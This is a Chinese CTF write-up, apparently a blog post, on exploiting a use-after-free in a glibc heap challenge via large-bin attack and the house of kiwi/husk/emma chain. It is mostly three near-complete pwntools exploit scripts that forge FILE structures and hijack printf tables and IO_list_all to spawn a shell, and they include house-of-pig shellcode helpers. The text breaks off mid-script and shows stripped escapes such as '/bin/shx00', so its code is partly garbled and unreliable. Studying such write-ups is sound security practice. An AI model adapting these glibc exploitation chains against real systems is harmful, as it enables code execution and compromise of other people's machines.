house of lalalalala

admin 2023年1月30日21:28:36评论24 views字数 41754阅读139分10秒阅读模式
house of lalalalala

house of lalalalala



前段时间复现了一道题,简单记录下题目做法(当然也可以用apple来打要简单些),前置知识如下:largbin attack,house of kiwi,house of husk,house of emma

house of lalalalala

首先来看看这题的漏洞点(C++反汇编看起来真的很乱):

house of lalalalala

存在UAF

house of lalalalala

选择不同的gift可以分配不同内存,由于使用的是calloc分配的而且大小又大于fastbin,基本肯定得用largbinattack了

然后看看show函数

house of lalalalala

show函数没什么好说的,会打印size大小和conten内容,这样可以泄漏libc和堆地址了,就不用去打stdout难度下降了很多

然后看看edit函数

house of lalalalala

edit函数根据索引去写入content内容,结合uaf可以修改fd、bk、fd_nextsize、bk_nextsize。由于这题限制了大小和限制了tcache,所以只能打largbin


largbin利用方式:

1、先放入largbin里面一个chunk

2、把largbin里面的bk_nextsize改为目标地址减去0x20位置

3、把比较小的largbin放入chunk(必须要同一个范围的位置)

house of lalalalala

这时候fake的地址就变成了之前放入小chunk的堆地址



利用链:

kiwi-> __malloc_assert --> print(husk) --> IO_Cleapup--> emma(gadget) -->getshell


kiwi需要用到(改topchunk去触发断言)

house of lalalalala

也就是需要用到fxprintf函数(这里不用打fflush),而fxprintf就会触发到husk的利用链

伪造__printf_function_table,伪造__printf_arginfo_table

然后劫持到IO_Cleapup上去触发emma即可达成利用(为什么不直接劫持one_gadget呢?要是能成功的话就不用这么麻烦了,试了所有的gadget都不行,可以尝试一下用relocchook微调rsp)


exp如下:

#!/usr/bin/env python3

#coding:utf-8


from pwn import *

from LibcSearcher import *

#--------------------prepare------------------------

binary = './pwn'

libc_so = ""

host = "node4.buuoj.cn"

port = 10001


#---------------------------------------------------


elf = ELF(binary)

libc = ELF(libc_so) if libc_so else elf.libc

context(arch = elf.arch, os = 'linux')

if args.G:

context.log_level = 'debug'

p = remote(host, port) if args.R else process(binary)


def attach(msg=''):

context(log_level = 'debug', terminal=["tmux","splitw","-v"])

gdb.attach(p, gdbscript=f'{msg}')

def ROL(data, key):

tmp = bin(data)[2:].rjust(64, '0')

return int(tmp[key:]+tmp[:key], 2)

#---------------------short command-------------------

dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")

checkstr = lambda data:data if isinstance(data, bytes) else data.encode()

sl = lambda data: p.sendline(checkstr(data))

sd = lambda data: p.send(checkstr(data))

sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))

sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))

ru = lambda delimit: p.recvuntil(checkstr(delimit))

rl = lambda : p.recvline()

rcn = lambda number=4096: p.recv(number)

ss = lambda delimit, data: success(f'{delimit}: {data:#x}')

uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))

uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))

str_bin_sh = next(libc.search(b'/bin/shx00'))

get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")


#---------------------IO_FILE_______________________________

__all__ = [

"IO_FILE_plus_struct",

"payload_replace"

]


class IO_FILE_plus_struct(FileStructure):


def __init__(self, null=0):

FileStructure.__init__(self, null)

def __setattr__(self,item,value):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

object.__setattr__(self,item,value)

else:

error("Unknown variable %r" % item)


def __getattr__(self,item):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

return object.__getattribute__(self,item)

error("Unknown variable %r" % item)

def __str__(self):

return str(self.__bytes__())[2:-1]


@property

def _mode(self):

off = 320

if context.bits == 64:

off = 112

return (self.unknown2 >> off) & 0xffffffff


@_mode.setter

def _mode(self, value:int):

assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))

off = 320

if context.bits == 64:

off = 112

self.unknown2 |= (value << off)

@staticmethod

def show_struct(arch="amd64"):

if arch not in ("amd64", "i386"):

error("arch error, noly i386 and amd64 supported!")

print("arch :", arch)

_IO_FILE_plus_struct_map = {

'i386':{

0x0:'_flags',

0x4:'_IO_read_ptr',

0x8:'_IO_read_end',

0xc:'_IO_read_base',

0x10:'_IO_write_base',

0x14:'_IO_write_ptr',

0x18:'_IO_write_end',

0x1c:'_IO_buf_base',

0x20:'_IO_buf_end',

0x24:'_IO_save_base',

0x28:'_IO_backup_base',

0x2c:'_IO_save_end',

0x30:'_markers',

0x34:'_chain',

0x38:'_fileno',

0x3c:'_flags2',

0x40:'_old_offset',

0x44:'_cur_column',

0x46:'_vtable_offset',

0x47:'_shortbuf',

0x48:'_lock',

0x4c:'_offset',

0x54:'_codecvt',

0x58:'_wide_data',

0x5c:'_freeres_list',

0x60:'_freeres_buf',

0x64:'__pad5',

0x68:'_mode',

0x6c:'_unused2',

0x94:'vtable'

},

'amd64':{

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',

0xd8:'vtable'

}

}

for k, v in _IO_FILE_plus_struct_map[arch].items():

print("  {} : {} ".format(hex(k), v))

def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):

"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so


       Args:

           stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].

           system_addr (int): System address.

           lock_addr (int): Lock address.


       Returns:

           bytes: payload.

       """

self.flags = 0x68732f6e69622f

self._IO_read_ptr = 0x61

self._IO_save_base = system_addr

self._lock = lock_addr

self.vtable = stdout_store_addr + 0x10

return self.__bytes__()

# only support amd64

def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):

"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.


       Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.


       Args:

           _IO_str_jumps_addr (int): Addr of _IO_str_jumps

           system_addr (int): Addr of system

           bin_sh_addr (int): Addr of the string: /bin/sh


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags &= ~1

self._IO_read_ptr = 0x61

self.unknown2 = 0

self._IO_write_base = 0

self._IO_write_ptr = 0x1

self._IO_buf_base = bin_sh_addr

self.vtable = _IO_str_jumps_addr - 8

return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)

def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,

setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):

"""House of pig to exec shellcode with setcontext.


       You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.


       Args:

           fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain

           gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'

           str_jumps_addr (int): Addr of _IO_str_jumps

           setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61

           mprotect_addr (int): Addr of mprotect

           shellcode ([type]): The shellcode you wanner execute

           lock (int, optional): lock value if needed. Defaults to 0.


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags = 0xfbad2800

self._IO_write_base = 0

self._IO_write_ptr = 0xffffffffffffff

self.unknown2 = 0

self._lock = lock

self.vtable = str_jumps_addr

self._IO_buf_base = fp_heap_addr + 0x110

self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8

payload = flat({

0:self.__bytes__(),

0x100:{

0x8: fp_heap_addr + 0x110,

0x20: setcontext_off_addr,

0xa0: fp_heap_addr + 0x210,

0xa8: mprotect_addr,

0x70: 0x2000,

0x68: (fp_heap_addr + 0x110)&~0xfff,

0x88: 7,

0x100: fp_heap_addr + 0x310,

0x1c0: gadget_addr,

0x200: shellcode

}

})

return payload

def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):

assert isinstance(payload, (str, bytes, int)), "wrong payload!"

assert context.bits in (32, 64), "wrong context.bits!"

assert len(filler) == 1, "wrong filler!"

output = list(payload) if isinstance(payload, bytes) else list(payload.encode())

if isinstance(filler, str):

filler = filler.encode()


for off, data in rpdict.items():

assert isinstance(off, int), "wrong off in rpdict!"

assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)


if isinstance(data, str):

data = data.encode()

elif isinstance(data, int):

data = pack(data, word_size=context.bits, endianness=context.endian)

distance = len(output) - len(data)

if off > distance:

output.extend([int.from_bytes(filler, "little")]*(off - distance))


for i, d in enumerate(data):

output[off+i] = d

return bytes(output)

#---------------------PWN SPACE----------------------

def menu(c):

sla('>> ', str(c))

def add(size):

menu(1)

if size>0x70 and size<0x14f:

t = 1

elif size>=0x14f and size<0x24f:

t = 2

else:

t = 3

sla('3. Gf3~', str(t))

chunk_type = {

1: 'input size of Gf1:',    #0x7f-0x14f

2: 'input size of Gf2:',    #0x14f-0x24f

3:'input size of Gf3:'  #0x24f-0x4ff

}

sla(chunk_type[t], str(size))


def delete(index):

menu(2)

sla('gift you want to give to someone:', str(index))

ru('send success!')


def show(index):

menu(3)

sla('input the idx of gift:', str(index))


def edit(index, content, t = 1):

menu(4)

sla('input the idx of gift:', str(index))

chunk_type = {

1:'leave your blessing of Gf1:n',

2:'leave your blessing of Gf2:n',

3:'leave your blessing of Gf3:n',

}

sa(chunk_type[t], content)

add(0x410) #0

add(0x410) #1

add(0x420) #2

add(0x410) #3

#--------------------leak libc heap-------------------------

delete(2)

show(2)

main_offset = 96 + 0x10 + libc.sym.__malloc_hook

main_arena  = uu64(ru(p8(0x7f))[-6:])

libc_base = main_arena - main_offset


add(0x430) #4

edit(2, 'a'*0x11, 3)

show(2)

ru('a'*0x10)

chunk2_addr = uu64(rcn(6)) - 0x61

heapbase = chunk2_addr - 0x12700

ss('heapbase', heapbase)

ss('chunk2', chunk2_addr)


#gadgets =


IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps

IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps   #0x1f4560

IO_cookie_jumps = libc_base + 0x1e8a20

setcontext_addr = libc_base + libc.sym.setcontext   #0x50bfd # 0x50bc0

pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000

system_addr = libc_base + libc.sym.system

printf_arginfo_table = libc_base + 0x1ed7b0

printf_function_table =libc_base + 0x1f1318

IO_list_all = libc_base + 0x1ed5a0


pop_rdi_ret = libc_base + next(libc.search(asm('pop rdinret')))

pop_rsi_ret = libc_base + next(libc.search(asm('pop rsinret')))

pop_rdx_ret = libc_base + next(libc.search(asm('pop rdxnret')))

pop_rax_ret = libc_base + next(libc.search(asm('pop raxnret')))

syscall_ret = libc_base + next(libc.search(asm('syscallnret')))

gadgets = asm('mov rdx, qword ptr [rdi+8]nmov qword ptr [rsp],raxncall qword ptr [rdx+0x20]')

gadgets_addr = libc_base + next(libc.search(gadgets)) #0x146020

gadgets_addr = libc_base + 0xe3b31

stderr = libc_base + 0x1ed5c0


ss('magic gadgets', gadgets_addr)

ss('libc base', libc_base)

ss('file_jumps', IO_file_jumps)

ss('helper_jumps', IO_helper_jumps)

ss('setcontext', setcontext_addr)

ss('pointer_chk_guard',pointer_chk_guard_local)

ss('stderr', stderr)

ss('printf_arginfo_table', printf_arginfo_table)

ss('printf_function_table',printf_function_table)

# dbg('get gadget')


#chunks

chunk0 = 0x11ec0 + heapbase

chunk1 = 0x122e0 + heapbase

chunk2 = 0x12700 + heapbase#420

chunk3 = 0x12f50 + heapbase

#largebin attack


delete(0)

# attach()

# dbg('delete')

payload = flat([

main_arena,

main_arena,

chunk2,

printf_function_table - 0x20 #libc_base + 0x1e94a0 - 0x20

])

edit(2, payload, 3)

# attach()

add(0x450) #5

# attach()

add(0x410) #6

delete(6)

# attach()

payload = flat([

main_arena,

main_arena,

chunk2,

pointer_chk_guard_local - 0x20 #libc_base + 0x1e94a0 - 0x20

])


edit(2, payload, 3)

add(0x450) #7


add(0x410) #8

# attach()

delete(8)

payload = flat([

main_arena,

main_arena,

chunk2,

printf_arginfo_table - 0x20 #libc_base + 0x1e94a0 - 0x20

])

edit(2, payload, 3)

add(0x450) #9

# dbg('arginfo')


add(0x410) #10

delete(10)

payload = flat([

main_arena,

main_arena,

chunk2,

IO_list_all - 0x20 #libc_base + 0x1e94a0 - 0x20

])


edit(2, payload, 3)

add(0x450) #11


# dbg('io list all')

fake_io = FileStructure()

fake_io.flags = 0xfbad1800

fake_io.vtable = IO_cookie_jumps + 0x58

fake_io._IO_write_ptr = 1

fake_io = bytes(fake_io)

print(len(fake_io))

fake_io += p64(libc_base + str_bin_sh)  #__cookie ->rdi

#fake_io += p64(0)

fake_io += p64(rol(system_addr^chunk2, 0x11)) #ror

IO_cleanup = libc_base + 0x92d60

payload = flat({

0x0: fake_io[0x10:],

})

edit(0, payload, 3)

attach()

edit(2,flat({

0x0:[main_arena,main_arena,chunk2,chunk2],

(920-0x10-8): p64(IO_cleanup)*3

}) ,3)


add(0x450) #12

delete(12)

add(0x440)


edit(12, flat({0x448:0x300}), 3)

# attach()

add(0x450)

#--------INTERACTIVE----------------------------

#get_flag()

p.interactive()


当然还可以用apple1:

#!/usr/bin/env python3

#coding:utf-8


from pwn import *

from LibcSearcher import *

#--------------------prepare------------------------

binary = './pwn'

libc_so = ""

host = "node4.buuoj.cn"

port = 10001


#---------------------------------------------------


elf = ELF(binary)

libc = ELF(libc_so) if libc_so else elf.libc

context(arch = elf.arch, os = 'linux')

if args.G:

context.log_level = 'debug'

p = remote(host, port) if args.R else process(binary)


def attach(msg=''):

context(log_level = 'debug', terminal=["tmux","splitw","-v"])

gdb.attach(p, gdbscript=f'{msg}')

dbg()

def ROL(data, key):

tmp = bin(data)[2:].rjust(64, '0')

return int(tmp[key:]+tmp[:key], 2)

__all__ = [

"IO_FILE_plus_struct",

"payload_replace"

]

class IO_FILE_plus_struct(FileStructure):


def __init__(self, null=0):

FileStructure.__init__(self, null)

def __setattr__(self,item,value):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

object.__setattr__(self,item,value)

else:

error("Unknown variable %r" % item)


def __getattr__(self,item):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

return object.__getattribute__(self,item)

error("Unknown variable %r" % item)

def __str__(self):

return str(self.__bytes__())[2:-1]


@property

def _mode(self):

off = 320

if context.bits == 64:

off = 112

return (self.unknown2 >> off) & 0xffffffff


@_mode.setter

def _mode(self, value:int):

assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))

off = 320

if context.bits == 64:

off = 112

self.unknown2 |= (value << off)

@staticmethod

def show_struct(arch="amd64"):

if arch not in ("amd64", "i386"):

error("arch error, noly i386 and amd64 supported!")

print("arch :", arch)

_IO_FILE_plus_struct_map = {

'i386':{

0x0:'_flags',

0x4:'_IO_read_ptr',

0x8:'_IO_read_end',

0xc:'_IO_read_base',

0x10:'_IO_write_base',

0x14:'_IO_write_ptr',

0x18:'_IO_write_end',

0x1c:'_IO_buf_base',

0x20:'_IO_buf_end',

0x24:'_IO_save_base',

0x28:'_IO_backup_base',

0x2c:'_IO_save_end',

0x30:'_markers',

0x34:'_chain',

0x38:'_fileno',

0x3c:'_flags2',

0x40:'_old_offset',

0x44:'_cur_column',

0x46:'_vtable_offset',

0x47:'_shortbuf',

0x48:'_lock',

0x4c:'_offset',

0x54:'_codecvt',

0x58:'_wide_data',

0x5c:'_freeres_list',

0x60:'_freeres_buf',

0x64:'__pad5',

0x68:'_mode',

0x6c:'_unused2',

0x94:'vtable'

},

'amd64':{

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',

0xd8:'vtable'

}

}

for k, v in _IO_FILE_plus_struct_map[arch].items():

print("  {} : {} ".format(hex(k), v))

def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):

"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so


       Args:

           stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].

           system_addr (int): System address.

           lock_addr (int): Lock address.


       Returns:

           bytes: payload.

       """

self.flags = 0x68732f6e69622f

self._IO_read_ptr = 0x61

self._IO_save_base = system_addr

self._lock = lock_addr

self.vtable = stdout_store_addr + 0x10

return self.__bytes__()

# only support amd64

def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):

"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.


       Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.


       Args:

           _IO_str_jumps_addr (int): Addr of _IO_str_jumps

           system_addr (int): Addr of system

           bin_sh_addr (int): Addr of the string: /bin/sh


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags &= ~1

self._IO_read_ptr = 0x61

self.unknown2 = 0

self._IO_write_base = 0

self._IO_write_ptr = 0x1

self._IO_buf_base = bin_sh_addr

self.vtable = _IO_str_jumps_addr - 8

return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)

def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,

setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):

"""House of pig to exec shellcode with setcontext.


       You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.


       Args:

           fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain

           gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'

           str_jumps_addr (int): Addr of _IO_str_jumps

           setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61

           mprotect_addr (int): Addr of mprotect

           shellcode ([type]): The shellcode you wanner execute

           lock (int, optional): lock value if needed. Defaults to 0.


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags = 0xfbad2800

self._IO_write_base = 0

self._IO_write_ptr = 0xffffffffffffff

self.unknown2 = 0

self._lock = lock

self.vtable = str_jumps_addr

self._IO_buf_base = fp_heap_addr + 0x110

self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8

payload = flat({

0:self.__bytes__(),

0x100:{

0x8: fp_heap_addr + 0x110,

0x20: setcontext_off_addr,

0xa0: fp_heap_addr + 0x210,

0xa8: mprotect_addr,

0x70: 0x2000,

0x68: (fp_heap_addr + 0x110)&~0xfff,

0x88: 7,

0x100: fp_heap_addr + 0x310,

0x1c0: gadget_addr,

0x200: shellcode

}

})

return payload

def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):

assert isinstance(payload, (str, bytes, int)), "wrong payload!"

assert context.bits in (32, 64), "wrong context.bits!"

assert len(filler) == 1, "wrong filler!"

output = list(payload) if isinstance(payload, bytes) else list(payload.encode())

if isinstance(filler, str):

filler = filler.encode()


for off, data in rpdict.items():

assert isinstance(off, int), "wrong off in rpdict!"

assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)


if isinstance(data, str):

data = data.encode()

elif isinstance(data, int):

data = pack(data, word_size=context.bits, endianness=context.endian)

distance = len(output) - len(data)

if off > distance:

output.extend([int.from_bytes(filler, "little")]*(off - distance))


for i, d in enumerate(data):

output[off+i] = d

return bytes(output)

#---------------------short command-------------------

dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")

checkstr = lambda data:data if isinstance(data, bytes) else data.encode()

sl = lambda data: p.sendline(checkstr(data))

sd = lambda data: p.send(checkstr(data))

sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))

sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))

ru = lambda delimit: p.recvuntil(checkstr(delimit))

rl = lambda : p.recvline()

rcn = lambda number=4096: p.recv(number)

ss = lambda delimit, data: success(f'{delimit}: {data:#x}')

uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))

uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))

str_bin_sh = next(libc.search(b'/bin/shx00'))

get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")


#---------------------PWN SPACE----------------------

def menu(c):

sla('>> ', str(c))

def add(size):

menu(1)

if size>0x70 and size<0x14f:

t = 1

elif size>=0x14f and size<0x24f:

t = 2

else:

t = 3

sla('3. Gf3~', str(t))

chunk_type = {

1: 'input size of Gf1:',    #0x7f-0x14f

2: 'input size of Gf2:',    #0x14f-0x24f

3:'input size of Gf3:'  #0x24f-0x4ff

}

sla(chunk_type[t], str(size))


def delete(index):

menu(2)

sla('gift you want to give to someone:', str(index))

ru('send success!')


def show(index):

menu(3)

sla('input the idx of gift:', str(index))


def edit(index, content, t = 1):

menu(4)

sla('input the idx of gift:', str(index))

chunk_type = {

1:'leave your blessing of Gf1:n',

2:'leave your blessing of Gf2:n',

3:'leave your blessing of Gf3:n',

}

sa(chunk_type[t], content)


def bye():

menu(5)


add(0x418) #0

add(0x418) #1

add(0x428) #2

add(0x418) #3

add(0x418) #4

add(0x80)  #5

#--------------------leak libc heap-------------------------

delete(2)

show(2)

main_offset = 96 + 0x10 + libc.sym.__malloc_hook

main_arena  = uu64(ru(p8(0x7f))[-6:])

libc_base = main_arena - main_offset

add(0x450) #6

edit(2, 'a'*0x11, 3)

show(2)

ru('a'*0x10)

chunk2_addr = uu64(rcn(6)) - 0x61

heapbase = chunk2_addr - 0x12700

ss('heapbase', heapbase)

ss('chunk2', chunk2_addr)


#gadgets


IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps

IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps   #0x1f4560

IO_cookie_jumps = libc_base + 0x1e8a20

setcontext_addr = libc_base + libc.sym.setcontext   #0x50bfd # 0x50bc0

pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000

system_addr = libc_base + libc.sym.system

printf_arginfo_table = libc_base + 0x1ed7b0

printf_function_table =libc_base + 0x1f1318

IO_list_all = libc_base + 0x1ed5a0

stderr = libc_base + 0x1ed5c0

IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps

IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps


ss('libc_base ', libc_base)

ss('IO_wfile_jumps', IO_wfile_jumps)

ss('IO_list_all', IO_list_all)


#chunks

chunk0 = 0x11ec0 + heapbase

chunk1 = 0x122e0 + heapbase

chunk2 = 0x12700 + heapbase

chunk3 = 0x12f50 + heapbase

chunk4 = 0x12f50 + heapbase

magic_chunk = heapbase + 0x11eb0

#largebin attack

delete(0)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)

#attach()

add(0x450) #7

dbg('attack 1')


#hijack IO_list_all

add(0x418) #8

delete(4)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)

dbg('attack 2')

add(0x450) #9


dbg('iolistall')


io_file = IO_FILE_plus_struct()

io_file.flags = 0

io_file._IO_read_ptr = 0xffffffffffffffff

io_file._IO_read_end = 0x200

io_file._IO_read_base = 1

io_file.vtable = IO_wfile_jumps

io_file._lock = chunk4

io_file._IO_write_ptr = 0xffffffffffffffff

io_file._IO_write_end = 0

io_file._mode = 1

io_file._wide_data = chunk4 + 0xe0


payload = flat({

0x0: bytes(io_file)[0x10:],

0xd0:{

0x0: [0xffffffffffffffff,0, 0 ], #read_ptr read_end read_base

0x18: 0,

0x20: [1, 2],

0x30: [0,0], #wide_data->_IO_buf_base = 0 not exec free

0xe0: chunk4 + 0x200,

},

0x1f0:{

0x68:system_addr

}

})

edit(4, payload, 3)

edit(3, flat({0x410: u64(b'  sh;x00x00x00')}),3) #io_file->flags=0x800


#attach()

bye()

#--------INTERACTIVE----------------------------

#get_flag()

p.interactive()


当然还可以用apple2:

#!/usr/bin/env python3

#coding:utf-8


from pwn import *

from LibcSearcher import *

#--------------------prepare------------------------

binary = './pwn'

libc_so = ""

host = "node4.buuoj.cn"

port = 10001


#---------------------------------------------------


elf = ELF(binary)

libc = ELF(libc_so) if libc_so else elf.libc

context(arch = elf.arch, os = 'linux')

if args.G:

context.log_level = 'debug'

p = remote(host, port) if args.R else process(binary)


def attach(msg=''):

context(log_level = 'debug', terminal=["tmux","splitw","-v"])

gdb.attach(p, gdbscript=f'{msg}')

dbg()

def ROL(data, key):

tmp = bin(data)[2:].rjust(64, '0')

return int(tmp[key:]+tmp[:key], 2)

#---------------------short command-------------------

dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")

checkstr = lambda data:data if isinstance(data, bytes) else data.encode()

sl = lambda data: p.sendline(checkstr(data))

sd = lambda data: p.send(checkstr(data))

sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))

sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))

ru = lambda delimit: p.recvuntil(checkstr(delimit))

rl = lambda : p.recvline()

rcn = lambda number=4096: p.recv(number)

ss = lambda delimit, data: success(f'{delimit}: {data:#x}')

uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))

uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))

str_bin_sh = next(libc.search(b'/bin/shx00'))

get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")


__all__ = [

"IO_FILE_plus_struct",

"payload_replace"

]


class IO_FILE_plus_struct(FileStructure):


def __init__(self, null=0):

FileStructure.__init__(self, null)

def __setattr__(self,item,value):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

object.__setattr__(self,item,value)

else:

error("Unknown variable %r" % item)


def __getattr__(self,item):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

return object.__getattribute__(self,item)

error("Unknown variable %r" % item)

def __str__(self):

return str(self.__bytes__())[2:-1]


@property

def _mode(self):

off = 320

if context.bits == 64:

off = 112

return (self.unknown2 >> off) & 0xffffffff


@_mode.setter

def _mode(self, value:int):

assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))

off = 320

if context.bits == 64:

off = 112

self.unknown2 |= (value << off)

@staticmethod

def show_struct(arch="amd64"):

if arch not in ("amd64", "i386"):

error("arch error, noly i386 and amd64 supported!")

print("arch :", arch)

_IO_FILE_plus_struct_map = {

'i386':{

0x0:'_flags',

0x4:'_IO_read_ptr',

0x8:'_IO_read_end',

0xc:'_IO_read_base',

0x10:'_IO_write_base',

0x14:'_IO_write_ptr',

0x18:'_IO_write_end',

0x1c:'_IO_buf_base',

0x20:'_IO_buf_end',

0x24:'_IO_save_base',

0x28:'_IO_backup_base',

0x2c:'_IO_save_end',

0x30:'_markers',

0x34:'_chain',

0x38:'_fileno',

0x3c:'_flags2',

0x40:'_old_offset',

0x44:'_cur_column',

0x46:'_vtable_offset',

0x47:'_shortbuf',

0x48:'_lock',

0x4c:'_offset',

0x54:'_codecvt',

0x58:'_wide_data',

0x5c:'_freeres_list',

0x60:'_freeres_buf',

0x64:'__pad5',

0x68:'_mode',

0x6c:'_unused2',

0x94:'vtable'

},

'amd64':{

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',

0xd8:'vtable'

}

}

for k, v in _IO_FILE_plus_struct_map[arch].items():

print("  {} : {} ".format(hex(k), v))

def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):

"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so


       Args:

